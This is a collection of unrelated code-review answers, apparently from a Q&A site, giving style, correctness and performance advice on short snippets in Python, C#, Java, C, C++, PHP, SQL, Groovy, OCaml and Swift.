Infinite Monkey Theorem Python Comparison

Python naming conventions

PEP 8 says that functions and variables should use snake_case so getString should be get_string.

Naming issues

localScore is the best score that you have for all the generations, name it best_score instead. Similarly: guessString -> best_string. I think count is ok. I would have used gen or generation but then again it's not really a genetic algorithm so there isn't really evolution so one could argue count is better than gen...

gen_string

I would say that it is pretty lucky that letter and "methinksit is like a weasel" have the same length. Give gen_string a length parameter. You don't need to convert letters to a list, and you don't need so many temporary variables. (I also prefer keyboard to letters since " " isn't a letter). Ultimately I came up with:

def genString(length):
    keyboard = string.ascii_lowercase + " "
    return ''.join((random.choice(keyboard) for _ in range(length)))

test

Keep your test information in test and don't let it leak out.

test = "methinksit is like a weasel"

Should be somewhere in your test function, not score. Pass a reference string to score.

I would advise printing out more information than just numbers, something like this, so you can tell what is going on:

        print("Iteration: " + str(count))
        print("Best score: " + str(best_score))
        print("Best strint: " + best_string)

score

This:

        else:
            score = 0/27 + score

Is unneeded. Just get rid of it. I believe also:

if test == n:
    score = 100

Is unneeded. (Although, there might be some weird floating point thing I'm not taking into consideration. Regardless, you can adjust for this.)

Don't have:

1/27

What should be in place of 27?

n is often assumed to be an integer, yet you use it as a string.

Organization

test doesn't really feel like a test, it feels like the main point of your application. Maybe just change it to main() and do something like:

if __name__ == "__main__":
    main()

If you think it is a test maybe move it into a testing file like test.py.


In addition to the points I had mentioned in my previous answer to your Stack implementation.

Your Queue is not introspectable right now as it lacks __repr__ method. Due to this you won't be able to view its items easily. Hence you could add __repr__ to both Node and Queue class(same applicable to your Stack class in other question).

class Node:
    def __init__(self, value):
        self.data = value
        self.front = None

    def __repr__(self):
        return repr(self.data)

class EmptyQueueException(Exception):
    pass

class Queue:
    def __init__(self):
        self.head = None
        self.tail = None
        self.count = 0

    def en_queue(self, value):
        new_node = Node(value)

        if self.tail is not None:
            # make the front attribute of old node point to new node
            self.tail.front = new_node
        else:
            # if first ever node in Queue both front and tail will point to it
            self.head = new_node

        self.tail = new_node
        self.count += 1

    def de_queue(self):
        if self:
            # point head to next node
            self.head = self.head.front
            self.count -= 1
        else:
            raise EmptyQueueException()

    def peek_front(self):
        if self:
            return self.head.data
        raise EmptyQueueException()

    def peek_back(self):
        if self:
            return self.tail.data
        raise EmptyQueueException()

    def __iter__(self):
        node = self.head
        while node is not None:
            yield node
            node = node.front

    def __bool__(self):
        return not (self.head is None and self.tail is None)

    def __contains__(self, value):
        return value in (node.data for node in self)

    def __len__(self):
        return self.count

    def __repr__(self):
        return 'Queue<{nodes}>'.format(nodes=', '.join(repr(node) for node in self))

Demo:

>>> my_queue
Queue<1, 2, 3, 4, -2000000, 'a', 500000, 50>
>>> my_queue.de_queue()  # Probably want to return the value as well?
>>> my_queue
Queue<2, 3, 4, -2000000, 'a', 500000, 50>
>>> my_queue.peek_back()
50
>>> 'a' in my_queue
True
>>> 'spam' in my_queue
False
>>> bool(my_queue)
True
>>> len(my_queue)
7
>>> len(Queue())
0
>>> bool(Queue())
False
>>> Queue().peek_back()
---------------------------------------------------------------------------
EmptyQueueException                       Traceback (most recent call last)
...


Get missing sequential numbers from array

Naming

In C#, it is conventional to use camelCase (first letter smallcase) for method parameters and local method variables. So original instead of Original, and count instead of Count.

I also find Updating a quite confusing name. Usually variable names are nouns, whereas this sounds like a verb or adjective. Plus in Main, by the time it's been assigned a value it's not going to change any more anyway

ref

The ref keyword is irrelevant to what you're doing. I'm not sure what performance benefit you expect them to have, but I'd guess it's based on a misunderstanding of what the keyword actually does. It makes the code a little harder to read too, because it's hard to understand why the keywords are there.

Single-line for loop

In your code you have:

for (var t = 0; t < Count; t++) IDs.Add(GetNextID(ref Updating));

There are three other reasonable ways you could write this:

for (var t = 0; t < Count; t++) { IDs.Add(GetNextID(ref Updating)); }

for (var t = 0; t < Count; t++)
    IDs.Add(GetNextID(ref Updating));

for (var t = 0; t < Count; t++)
{
    IDs.Add(GetNextID(ref Updating));
}

Of these four, the one you picked is my least favourite. It's not found very commonly in C# so there's some cognitive friction when reading something written in that style.

Of the other three that I posted, most people consider the second to be bad practice because it is easy to make a mistake when inserting additional lines. I don't wholly buy into this personally but you should still probably pick one of the other two.

Types

While technically your numbers fit into ushorts, I wouldn't get into a habit of using integer types other than int unless you have a reason to. Unfortunately C# has relatively poor support for using multiple numeric types together in certain situations- e.g. as a generic type parameters.

Having to put Converts all over the place takes time, makes the code harder to read, and is dangerous as you end up with potential run-time (rather than compile-time) failures.

This isn't to say don't use other integer types, just make sure there's a good reason, and think through whether there's likely to be issues in the future. I've been bitten by this a few times myself.

Side-effects

It's unexpected that GetNextID would modify Updating, especially as the method returns something. You should probably have it just return the value, then let the method which calls it take charge of inserting the value. At the very least, give it a name that makes it clear it will have a side-effect beyond just returning a value.

LINQ extension power

Jude M already mentioned Enumerable.Range. There are other very powerful LINQ extensions that reduce this entire task to a few very terse lines of code.

var exclude = original.Except(delete);
var unused = Enumerable.Range(0, Int32.MaxValue).Except(exclude).Take(8);

Enumerable.Range is lazy, so that scary Int32.MaxValue won't actually have a performance impact, this will only keep evaluating until it finds 8 values not in your list.


Single pass algorithm for finding the topX percent of items

top_nums = sorted(list(islice(iterable, int(percent*min_guess)))) #get an initial guess

There is no reason to make a list out of it before you sort it.

for ind, val in enumerate(iterable, len(top_nums))

I dislike abbreviations. I think it makes it harder to figure out what ind and val are doing.

   all_data = sorted(data_gen(num))

Why are you sorting your test data?

As I understand your problem, your code is wrong. It only works in your test case because you sort the incoming data.

Your algorithm regularly increases the size of the list of values. But when it does so, there have been previous numbers which have been thrown away which may greater then the value you insert at that point. As a result, you cannot be sure you've actually ended up with with the top 1%.

How should you fix it? If you can upper bound the size of your input, then you can start with a list of sufficient size and then scale back at the end. Otherwise I don't think you can do it. The problem being that you cannot throw away any values because there is no way to be sure you won't need them later.

You might consider using a heap. Python has a heapq module including a function heapq.nlargest which does pretty much what you are doing, (but uses a count rather then a percentage) A heap is pretty much a semi-sorted list and lets you do things like find/remove/replace the lowest value without the overhead of actually sorting.


Optimizing variable order Markov Chain Implementation

I'm sure the tree can be replaced by something else more efficient, but I'm struggling with figuring that out. I've heard a linked list might work, but I'm not sure how.

Perhaps use the SortedList class instead of the Dictionary class.

For example, this blog entry says,

  Best memory footprint we see in the SortedList, followed by Hashtable, SortedDictionary and the Dictionary has highest memory usage. Despite all that, we have to note, that the differences are not significant and unless your solution requires extreme sensitivity about the memory usage you should consider the other two parameters: time taken for the insert operations and time taken for searching a key as more important.

Other optimizations might include:

Don't allocate Node.Children until/unless the AddChild method is called.
Use the Dictionary constructor which lets you specify the initial capacity (and specify a very low initial capacity)
Add a KeyValuePair<char,Node> OnlyChild member to Node, and use it (instead of creating Dictionary) when the first child is added (delete it and create a dictionary when the second child is added) to optimize the case where a Node has only exactly one child

Beware that the above are 'micro-optimizations' which don't change the algorithm; changing the algorithm (I don't understand Artur Mustafin's comment) might result in bigger savings.


Implementing a cross-browser AJAX utility as an exercise

I can't specifically comment on your usage of the extra tries for < IE7, as I always make sure my audience is using something better.  It seems like there should be a more elegant way to check each of those than a try with an empty catch, but without knowing how IE treats them, I can't say what it would be.  The rest is okay, but I would suggest the following.  My changes are explained in my own comments.

var ajax = {
  request: function(url, requestType, callback, queryString) {
    var ids = ['MSXML2.XMLHTTP.3.0',
    'MSXML2.XMLHTTP',
    'Microsoft.XMLHTTP'],
    xhr;

    // Simplification of this check while essentially doing the same thing
    if (window.XMLHttpRequest) {
      xhr = new XMLHttpRequest();
    } else {
      for (var i = 0; i < ids.length; i++) {
        try {
          xhr = new ActiveXObject(ids[i]);
          break;
        } catch(e) {}
      }
    }
    // Calling a function to return a function is redundant.
    // Do what you're trying to with as little extra as possible.
    xhr.onreadystatechange = function() {
        callback(xhr);
      };
    xhr.open(requestType, url, true);
    if (requestType.toUpperCase() === 'GET') {
      // When initiating a get request, the send function needs no arguments at all.
      xhr.send();
    } else if (requestType.toUpperCase() === 'POST') {
      xhr.send(queryString);
    }
    // If you want to be extra careful, include an else here to handle a bad requestType
  }
}


don't know how to create the XYZ list within numpy, but some other parts can be converted to numpy (see below). Didn't test the code, but the help pages for those numpy functions should help you, in case this doesn't run ;)
Instead of the double for-loop one can use np.nditer which might speed things up, but I haven't really used this much myself.

Otherwise, you want to remove for loops and just operate on the whole matrix or vector using numpy, e.g. calculate the distances in a single line instead of looping over it using two python loops. Using the axis=0 you can also remove the for loop for the spectrum variable.

def Circular_cumsum_spot(width,height,centre,radius,spectrum,red_or_violet):
    """makes a "light spot" by cumsums
    from the center to the periphery

    width, height = size of canvas
    x, y = center of the spot
    radius = magnitude of the spot in pixels
    spectrum = light source
    red = to red, violet = to violet

    returns a numpy array"""

    x,y = centre[0], centre[1]

    data = []
    X = Y = Z = 0

    # calc an 2d array of distances
    Xi, Yj = np.mgrid(0:height, 0:width)
    distance = np.hypot(Xi-y, Yj-x)

    # create a mask
    mask = distance < radius

    # calculate all cumsum values
    cumsum = np.zeros_like(distance)
    cumsum[mask] = np.round(distance[mask]/radius)*len(spectrum)

    # not sure, if this is already a numpy array
    spectrum = np.array(spectrum)

    for i in range(height):
        for j in range(width):
            if distance[i, j] >= radius:
                X = Y = Z = 0
            else:
                if red_or_violet == "red":
                    X, Y, Z = np.sum(spectrum[:cumsum[i, j],:], axis=0)
                else:
                    X, Y, Z = np.sum(spectrum[-cumsum[i, j]:,:], axis=0)
            data += [(X,Y,Z)]
    data = np.array(data)

    divisor = data[:,1].max()

    if divisor != 0:
        data = data/divisor

    return data
    print "spot created is", red_or_violet


Is there any obvious way to speed it up? Am I overcomplicating something? My way of getting an infinite sequence of integers, for example. Any other feedback?

Well, the easiest way to speed it up is to note that there is only one even prime.  So set n to 10000, start with 3 rather than 2, increment by 2 rather than 1, and you can start your isPrime range with 3 as well.  It's unclear how much impact this will have, as at least those values were easy to filter.

If you have sufficient memory, you can save the generated primes and use those to do your isPrime check.  You spend a lot of time checking numbers that you know won't divide the candidate.  For example, you check even numbers larger than 2.

If efficiency is your goal, I'm not sure that streams are the way to go.  Streams are compact to write but may be difficult to optimize.  The argument in favor of streams here is that for small n, being quicker to write is more advantageous than being quick to run.

Of course, your real question may be "Given that I'm using streams, what features could I use?  Not so much on this problem but on other problems where they might matter more?"

Some things that I might do in a non-stream solution that I don't know how to do with a stream (may be impossible).

Only generate a range of odd numbers in isPrime.  Note that I've considered

    int limit = (int)(Math.sqrt(i) / 2);
    return IntStream.range(1, limit)
            .noneMatch(n -> i % (2 * n + 1) == 0);

But that seems wasteful.  It requires two additions and a multiplication to do what a for loop could do with a single addition.  You may want to clock it to see if it's more efficient than your solution.  Probably heavily dependent on the relative efficiencies of multiplication and modulus.  Unless the compiler is smart enough to compile out the multiplication.

What I really want is to either be able to set an increment to range or a limit to iterate.  Either would work.  Neither seems to be available.

Note that I find noneMatch to be easier to read than !anyMatch.
Skip every third odd number after 3.  Note that 3, 5, and 7 are all prime but 9 is not.  11 and 13 are but 15 is not.  17 and 19 are but 21 is not.  What do 9, 15, and 21 have in common?  They're all divisible by 3.  The iterative way to do this is something like

    increment = 6 - increment;
    i += increment;

Where increment starts as either 2 or 4 and will alternate between them (\$6-2=4\$ and \$6-4=2\$).
Use a sieve (e.g. Sieve of Eratosthenes) so as to mask out future values.  Another challenge here is that a sieve doesn't fit this problem well.  It finds all the primes in a range, but here you want to find a certain number of primes, not all the primes less than some maximum value.


Linux has the sendfile system call, which copies data between file descriptors instead of copying the data to userspace and back to kernel space. That may be more efficient.

Your code looks very clean and organized. If you had used named constants instead of magic numbers, you might not even need some of the comments:

    mov rdx, tax
    mov rsi, but
    mov rdi, STDOUT_FILENO
    mov rax, SYS_write
    syscall

But I think even with these constants, the comments are still helpful, so I'd probably keep them anyway.

You should add error handling for stdout write errors, such as ENOSPACE.


Cosmetic issues
# include <foo.h>

This is ok but unusual, don't put a space between the # and include unless you have a good reason to (sometimes used to show some "indentation" with conditional includes).
//Shared Global variables to control processes

Those are only used inside main, so no need to make them global. Better would be to separate the two main parts (parent vs child) in two functions, and pass the required data as arguments to those (possibly creating a nice struct to wrap the up).
*turn;

This does nothing. Remove it. Instead, add some code to check that mmap didn't fail before you proceed.
while (*flag1 && *turn == 1)
while (*flag0 == 1 && *turn == 0)

This isn't consistent, so the reader wonders if there is a semantic difference between the two tests. Better be explicit in both, e.g.:
while (*flag1 == 1 && *turn == 1)
while (*flag0 == 1 && *turn == 0)

Also your indentation is out of whack in the child part (and for the global statics), and you have extraneous empty lines in both parts.
wait(); // wait for child

The child also runs this. Not really a bug, but a bit suspicious. Move that to parent-only code.
Big issue
You have no synchronization. The reads and writes to shared memory all race. So your program might work by sheer luck, but that's not what you want in a demo for concurrent programming. Peterson's algorithm only works if the reads and writes to the flags and turn variables propagate immediately and atomically, and you have no such guarantee here. In particular, the initial writes to turn race with each other, and all the reads of flag1 for the parent race with the writes to flag1 in the child (and vice-versa). This doesn't give you that "turn is set to either 0 or 1 randomly", it gives you undefined behavior.
You'll need to use some form of interprocess synchronization method to achieve correct concurrency control. POSIX named semaphores, or a pthread_mutex with the process-shared attribute set, could work (see the POSIX page for pthread_mutexattr_init for an example).


This is really pretty good.
I would do a few things slightly differently.

Don't use globals. Pass the $mysqli parameter into your function. Globals cause nightmares for maintainers.
Do an explicit error check after each mysqli method invocation, and get rid of the cascading if statements. Check for a false return, then issue a message.  In your logic you might also emit the error message and then return false. But you need to announce the error somehow or other or you'll have trouble debugging things.

For example: (Note, using die is a little sloppy, but not as bad as failing to report errors.)

 $stmt = $mysqli->prepare( 'SELECT name FROM `payment_methods` WHERE id = ?' );
 if ($stmt === false) {
         die "prepare failed:" . mysqli_connect_error();

 }


Here are some suggestions:

coordinates_to_index should return std::size_t instead of int because int may not be able to hold the required values.

return std::inner_product(cbegin(dimension_product), cend(dimension_product),
                          crbegin(coords), std::size_t{0}); // instead of int

You don't need to compute the strides and store them. You can use Horner's rule directly.

std::size_t result = 0;
for (std::size_t i = 0; i < N; ++i)
    result = result * dimensions[i] + coords[i];
return result;

Your calculation of the total size fails to consider the case where order == 0. Instead of

(Dimensions * ...)                   // ill-formed if Dimensions is empty

Use

(Dimensions * ... * std::size_t{1})

Moreover, I would suggest exposing the total size, along with the order and dimensions. Like this:

static constexpr std::size_t size = (Dimensions * ... * std::size_t(1));

And use it in place of ad-hoc computations further in code.
Your matrix is not Copyable. You declare move operations but not copy operations (the template doesn't make a difference), and the compiler synthesizes deleted copy operations which take precedence over the copying template. You should either default the copy operations explicitly (and maybe destructor as well), or omit the redundant default declarations directly.
Why use :_data({}) when :_data{} is more readable and less verbose?
Consider adding out-of-range detection for operator() in some form.

Update

Currently, the converting copy constructor first default-initializes the elements and then copy assign from the initializer matrix, which is kinda surprising. It is more reasonable to initialize directly (with some template hacks):

namespace detail {
    template <class T, std::size_t N, class U, std::size_t... Is>
    std::array<T, N> construct(const std::array<U, N>& arr, std::index_sequence<Is...>)
    {
        return std::array<T, N>{static_cast<T>(arr[Is])...};
    }
}

template <class T, std::size_t... Dimensions>
class matrix {
    // ...
public:
    // ...
    template <class U>
    matrix(matrix<U, Dimensions...> const& other)
        : _data{detail::construct<T, N>(other._data, std::make_index_sequence<size>{})}
    {
    }
    // ...
};

The above implementation requires access to relies on access to _data of another matrix specialization, which can be granted with a friend declaration or an access function. It also relies on the C++17 guaranteed copy elision.

Now, the converting copy assignment operator cannot delegate to the converting copy constructor:

template <class U>
matrix& operator=(const matrix<U, Dimensions...>& other)
{
    std::copy_n(_data.begin(), size, other._data.begin());
    return *this;
}

It makes sense to constrain the converting copy constructor and the converting copy assignment operator with SFINAE. Also, they should be made conditionally explicit and conditionally noexcept:

template <class U, class = std::enable_if_t<
    std::is_constructible_v<T, const U&> && std::is_convertible_v<const U&, T>
>> matrix(matrix<U, Dimensions...> const& other)
    noexcept(std::is_nothrow_constructible_v<T, const U&>);

template <class U, class = std::enable_if_t<
    std::is_constructible_v<T, const U&> && !std::is_convertible_v<const U&, T>
>> explicit matrix(matrix<U, Dimensions...> const& other)
    noexcept(std::is_nothrow_constructible_v<T, const U&>);

Similarly for the converting copy assignment operator.
Consider support converting move construction and converting move assignment.
The class can be modified to support constexpr.


Function to generate radom alphanumeric cookies

If you are on python 3.6, you can just use the secrets module: which you should be using, in case the random value should be secret.

From the documentation:

>>> token_urlsafe(16)
'Drmhze6EPcv0fN_81Bj-nA'

if you're below python 3.6, see here, how it's implemented. You  might just copy that.


You won't be able to see speed improvements here, as that's just network limited, but there are a few improvements to this snippet of code I can suggest (wrapped in a method):

def static copyToLocalUrl(final String localUrl, final String remoteUrl, final String username, final String password) {
  final def authorization = 'Basic' + "$username:$password".bytes.encodeBase64().toString()
  new File(localUrl).withOutputStream { final out ->
    remoteUrl.toURL()
        .getText(requestProperties: [Authorization: authorization])
        .bytes.with { out << it }
  }
}

Note that you don't need to enclose GString variables in brackets if you're simply just accessing them or their fields.

This answer also doesn't do any HTTP response checking for simplicity; it just saves the HTML to a local file. If you're keen on checking the response, you can do so like this:

def static copyToLocalUrl(final String localUrl, final String remoteUrl, final String username, final String password) {
  new File(localUrl).withOutputStream { final out ->
    remoteUrl.toURL().openConnection().with {
      setRequestProperty 'Authorization', 'Basic' + "$username:$password".bytes.encodeBase64().toString()
      if (200 == it.responseCode) {
        out << it.inputStream
      }
      else {
        throw new ConnectException("Cannot download file from ${remoteUrl}")
      }
    }
  }
}


There are several problems with your approach:

It's strange to reverse the letters, reorder the words, and then reverse the letters again. It's inefficient and unnecessary. You could just reverse the words.
The string you return has a trailing space: "awesome is codereview "
The naming standard is to use camelCase for methods, which "StringRev" violates, and it's not a good name anyway ("reverseWords" would be better)
s for the sentence to reverse is not a good name

It would be more efficient to split by space and then join the words in reverse order. Also keep in mind that String concatenation is not efficient. The efficient way is to use a StringBuilder.

This implementation is more efficient:

public static String reverseWords(String sentence) {
    String[] parts = sentence.split(" ");

    StringBuilder builder = new StringBuilder();
    builder.append(parts[parts.length - 1]);

    for (int i = parts.length - 2; i >= 0; --i) {
        builder.append(" ").append(parts[i]);
    }

    return builder.toString();
}

To verify that the method works correctly, it's good to have unit tests:

@Test
public void testEmptyString() {
    assertEquals("", ReverseWords.reverseWords(""));
}

@Test
public void testWithSingleWord() {
    assertEquals("awesome", ReverseWords.reverseWords("awesome"));
}

@Test
public void testWithTwoWords() {
    assertEquals("is awesome", ReverseWords.reverseWords("awesome is"));
}

@Test
public void testWithSentence() {
    assertEquals("awesome is codereview", ReverseWords.reverseWords("codereview is awesome"));
}

It wasn't part of your specifications, but I would go a bit further and make the solution more robust, by making it work with leading or trailing spaces, and multiple spaces in between words:

public static String reverseWords(String sentence) {
    // trim leading and trailing spaces
    // split on 1 or more spaces between words
    String[] parts = sentence.trim().split("\\s+");
    // ...
}

@Test
public void testWithLeadingSpaces() {
    assertEquals("awesome is codereview", ReverseWords.reverseWords("  codereview is awesome"));
}

@Test
public void testWithMultipleSpaces() {
    assertEquals("awesome is codereview", ReverseWords.reverseWords("codereview   is awesome"));
}

Your program reads a single sentence, reverses the words and prints the output. A BufferedReader can be efficient for processing large inputs, but for such simple uses, a Scanner would be easier and simpler, like this:

public static void main(String[] args) {
    System.out.println("Enter the string");
    Scanner scanner = new Scanner(System.in);
    System.out.println(reverseWords(scanner.nextLine()));
}

With this solution you don't need to declare the method to throw an exception.

For extra user-friendliness, you might want to allow input as command line arguments, and fall back to using System.in only when no arguments were given:

public static void main(String[] args) {
    if (args.length == 0) {
        System.out.println("Enter the string: ");
        Scanner scanner = new Scanner(System.in);
        System.out.println(reverseWords(scanner.nextLine()));
    } else {
        for (String arg : args) {
            System.out.println(reverseWords(arg));
        }
    }
}


You can merge all the testing into one match expression:

let rec subtract_list xs ys =
  match xs, ys with
  | [], _ -> []
  | _, [] -> xs
  | x :: xs', y :: ys' when x = y ->
      subtract_list xs' ys'
  | x :: xs', _ ->
      x :: (subtract_list xs' ys)

This also gets rid of the if expression.


"You should separate logic from controller"

Honestly if a colleague said that to me then I would immediately say.  Great thanks.  What do you think I could move out and why.

It's great to offer feedback but generic feedback like that for me was never useful and I personally always prefer specific help to follow.

Looking at that code it doesn't look like you any logic there to play with, so unless he is meaning the Model -> ViewModel mapping then yes, you could move that to a Mapping layer but I don't consider that a necessity.  If you were considering that the code would probably benefit from using a tool such as AutoMapper to achieve this.

Using AutoMapper

The trick here is you define your mapping rules in the AutoMapper configuration so they can be reused whenever you need to map X -> Y.

public JsonResult UploadImage(HttpPostedFileBase file)
{
    var result = UploadedImageHandler.UploadFile(file);

    if(result == null)
    {
        return new JsonResult { ContentType = "text/html" };
    }

        // Assuming ResultModel is the class type for result
    var uploadResult = Mapper.Map<UploadResultViewModel, ResultModel>(result);

    return new JsonResult
    {
        Data = uploadResult,
        ContentType = "text/html"
    };
}

Not using AutoMapper

No mapping framework with If statements inverted to reduce nesting as well as remove need for additional variables.

public JsonResult UploadImage(HttpPostedFileBase file)
{
    var result = UploadedImageHandler.UploadFile(file);

    if(result == null)
    {
        return new JsonResult { ContentType = "text/html" };
    }

    var uploadImageViewModel = new UploadedImagesViewModel
    {
        Compression = result.Compression,
        DateTime = result.DateTime.HasValue ? result.DateTime.Value.ToString("f") : null,
        Description = result.Description ?? "",
        ExifVersion = result.ExifVersion,
        ExposureTime = result.ExposureTime,
        GpsLatitude = result.GpsLatitude,
        GpsLongitude = result.GpsLongitude,
        ImagePath = result.ImagePath,
        Manufacturer = result.Manufacturer,
        Model = result.Model,
        UploadedImageId = result.UploadedImageId
    };

    var uploadResult = new UploadResultViewModel
    {
        Preview = new PreviewViewModel
        {
            Id = result.UploadedImageId,
            PreviewPath = result.PreviewPath
        },
        UploadedImage = uploadImageViewModel
    };

    return new JsonResult
    {
        Data = uploadResult,
        ContentType = "text/html"
    };
}


Find the longest string without repeating a letter

I do believe the algorithm in the pervious answer and in the OP does not do what the OP wanted. It test for the longest string starting with the line's first character, and then repeat from the first non repeating string. For example if the string is

abcaefgb

The algorithm given will return

abc

while the right answer should be

bcaefg

I believe the following algorithm will find the right string. Note that if there are several equal length longest strings it will return the first

def scantillrepeat(line):
    found = ''
    for char in line:
        if not char in found:
            found = found + char
        else:
            break
    return found

def findlongest(f):
    for line in f:
        longestfound = ''
        longestfoundlen = 0
        for k in range(len(line)):
            candidate = scantillrepeat(line[k:])
            if len(candidate) > longestfoundlen:
                longestfound = candidate
                longestfoundlen = len(candidate)
    return longestfound

To test

In [39]: f = ['abcaefgb']

In [40]: findlongest(f)
Out[40]: 'bcaefg'

Note that my version does not allow joining lines separated by newline \n. This should be altered if needed.


Is this the only query on data that matters?  You have too many simple indexes.  For example, there's no reason to have an index on just sensor_id if you already have one with sensor_id in the front.

CREATE TABLE `data` (
 `id` int(13) NOT NULL AUTO_INCREMENT,
 `sensor_id` int(13) NOT NULL,
 `datetime` datetime NOT NULL,
 `value` float NOT NULL,
 PRIMARY KEY (`id`),
 UNIQUE KEY `sensor_id_2` (`sensor_id`,`datetime`,`value`)
)

The minutes table is even worse.  There's only two columns but you have six indexes (the PRIMARY KEY is an index on id).  Three would be serious overkill.

CREATE TABLE `minutes` (
 `id` int(13) NOT NULL AUTO_INCREMENT,
 `value` varchar(16) NOT NULL,
 PRIMARY KEY (`id`),
 UNIQUE KEY `value_id` (`value`, `id`),
 UNIQUE KEY `id_value` (`id`, `value`)
)

Your query looks weird to me.  You're doing string operations (LIKE) on a datetime field.  This probably means that you are skipping the index and almost certainly that you aren't using the index to limit the possible rows.  A more common form would be

SELECT t.`value`, d.`sensor_id`, COUNT(t.`value`) as `numrows`
FROM `data` d
RIGHT JOIN `times` t
  ON TIME_FORMAT(d.`datetime`, '%H:%i') = t.`value`
WHERE d.`datetime` >= '2014-11-05 00:00:00'
  AND d.`datetime` <= '2014-11-05 23:59:00'
  AND d.`sensor_id` IN (1,2,3,4,5,999)
GROUP BY d.`sensor_id`, t.`value`
ORDER BY d.`sensor_id` ASC, t.`value` ASC

And you should be aware that when you specify IN, you are repeating the query once for each value.  So this query would run six times.  You may find it easier to run the six queries on the PHP side, as they'll be smaller.  This can also help your programming logic.

You might want to look up EXPLAIN plans, as they should help hint at what your problems are.  You might consider posting your SQL and explain plan to Stack Overflow (hint, just add EXPLAIN before the SELECT and look at the results in an admin tool like phpMySQL).

It's possible that the thing to do is to replace your DATETIME column with a DATE column and a minutes_id column.  Then your join would be on a fast integer join and you could do a straightforward date check.

Rather than doing a RIGHT JOIN, you might be better off with a regular inner join.  Then look for missing times in PHP.  Outer joins (left and right) are much slower than properly indexed inner joins.  You may find it easier to look for the missing times in PHP than to have your database do it.

I find it questionable to read all the data in and then use it.  It's often better to read the data and then use it immediately.

$times = array();
for ( $hour = 0; $hour < 24; $hour++ ) {
    for ( $minute = 0; $minute < 60; $minute++ ) {
        $times[] = sprintf('%02u:%02u', $hour, $minute);
    }
}

reset($times);
$last_sensor = 0; // assumes that there is no sensor 0
while ( $s = $select->fetch_assoc() ) {
    if ( $s['sensor_id'] != $last_sensor ) {
        echo 'Sensor: ' . $s['sensor_id'] . PHP_EOL;
        $last_sensor = $s['sensor_id'];

        // clear any remaining times from the last sensor
        while ( list(, $time) = each($times) ) {
            echo "$time 0" . PHP_EOL;
        }
        reset($times);
    }

    // iterate through until we find the current time
    list(, $time) = each($times);
    while ( $time != $s['value'] ) {
        // mark the missing times
        echo "$time 0" . PHP_EOL;
        list(, $time) = each($times);
    }

    echo "$time {$s['numrows']}" . PHP_EOL;
}


Whether you stick with a flat file or a database depends on how you're using the data. It looks you you're only caching the latest API response for one specific query and not any historical data or data for other queries. If you have no desire to use those other data, caching to a file as you're doing is the easiest solution.

If you want to use other data at some point (maybe for multiple offices or historical graphs), a database would be far more scalable and manageable.

Spinning up a basic MySQL DB on your server would be fairly painless.

Install MySQL, if needed: https://www.digitalocean.com/community/tutorials/how-to-install-mysql-on-ubuntu-14-04
(Optional) Install PHPMyAdmin, if you're not comfortable running MySQL commands over the terminal: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-phpmyadmin-on-ubuntu-16-04
Create the weather database and user.
Create whatever tables you need for caching the data. This should include either a column next to the data saying when it was cached or a table that records the time of the api queries.
Use some basic PDO to connect to the database and query it: http://coursesweb.net/php-mysql/pdo-introduction-connection-database

With either scheme, if users are hitting your service frequently enough, you can continue with your current scheme of requerying the API as you serve the page, after the data invalidation interval.

If you want to prevent any slow-downs for users or if they're not hitting it regularly enough, you could create a cron job to run your update script, regardless of where you're dumping the data.

As for your current script, I wrestled a bear once is correct. You should try to avoid opening and closing the same file repeatedly. You might try refactoring to this:

function getWeather()
{
    $last_modif = filemtime('weather.json');

    $response = '';

    if(time() - $last_modif > WEATHER_REFRESH_TIME)
    {
        $response = file_get_contents('https://api.darksky.net/forecast/MY_KEY/LAT,LNG?lang=fr&units=si&exclude=minutely,flags');
        file_put_contents('weather.json', $response);
    }
    else
    {
        $response = file_get_contents('weather.json');
    }

    return json_decode($response);
}


Optimal custom operator with generic type constraint for numerical type

I imagine that you started out with something like this:

infix operator ¿%

func ¿% <T: NumericType>(percentage: T, ofTotal: Double) -> Double {
    return percentage * ofTotal / 100.0
}

And received the error:

  binary operator '*' cannot be applied to operands of type 'T' and 'Double'

You've solved this by creating a function with signature NumericType * Double -> Double... which works, but as you've found requires a bunch of boilerplate.

The alternative approach is to to find a way to convert NumericType to a double so that in the end you're doing the multiplication on two doubles:

(NumericType -> Double) * Double - > Double

An implementation of this would look something like this:

protocol NumericType {
    var doubleValue: Double { get }
}

infix operator ¿%
infix operator %?

func ¿% <T: NumericType>(percentage: T, ofTotal: Double) -> Double {
    return percentage.doubleValue * ofTotal / 100.0
}

func %? <T: NumericType>(segment: T, ofTotal: Double) -> Double {
    return segment.doubleValue * 100 / ofTotal
}

extension Double: NumericType {
    var doubleValue: Double { return self }
}

extension Int: NumericType {
    var doubleValue: Double { return Double(self) }
}

However, please please please reconsider using custom operators like this.

I don't think that it's improving the readability or maintainability of your code, and unless you're using it every single day, I feel like it's something that will cause headaches in the future.


Find the noun phrase before and after a number in a text

I came up with this:
import itertools
import re

chunks = (grouped_chunk.split() for grouped_chunk in re.split("\\s+\\d+\\s+", mystring))
preceding_chunks = []

for reversed_chunk in map(reversed, chunks):
    preceding_chunk = list(itertools.takewhile(lambda word: word not in check_words, reversed_chunk))[::-1]
    preceding_chunks.append(preceding_chunk)

We apply itertools.takewhile to the reversed_chunk which gives us the preceding chunk in reversed order. We then obtain the correctly ordered preceding_chunk by reversing at the end with [::-1].
The regex splits mystring based on a number (the escaped \d+). The surrounding escaped \s+s represent any padding around the number. This causes this code to have different behavior than yours if digits and letters are mixed in the same words (for example, a1).
For your original code, I'd make a couple suggestions:

Follow PEP 8. For example, add spacing after the comma in i,word.
Remove the redundant expression preceding_words[::-1]. While this does evaluate to the reversed preceding_words, because it is not in-place, the evaluation has no side-effects. Plus, you already perform this reversal in enumerate(preceding_words[::-1]).


Move object by one up or down algorithm in a custom order

private void movePersonnalTaskMacro (UserProfileModel userProfileModel, boolean move) {

This is a private method but it does not access any members of its class. It is a smell. This probably means its home is one of the parameters, (usually first). UserProfileModel seems like a case of smurf typing. boolean move we will probably need a Replace Parameter with Method

PersonnalTaskMacro selectedPersonnalTaskMacro = userProfileModel.getSelectedPersonnalTaskMacro();

/* Initialize sorting order (increment/decrement) */
int selectedPersonnalTaskMacroSortOrder = selectedPersonnalTaskMacro.getSortingOrder();

A case of Inappropriate Intimacy. Call chains such as userProfileModel.getSelectedPersonnalTaskMacro().getSortingOrder() usually are.

int personnalTaskMacroListSize = userProfileModel.getPersonnalTaskMacroList().size();
int selectedPersonnalTaskMacroIndex = userProfileModel.getPersonnalTaskMacroList().indexOf(
        selectedPersonnalTaskMacro);

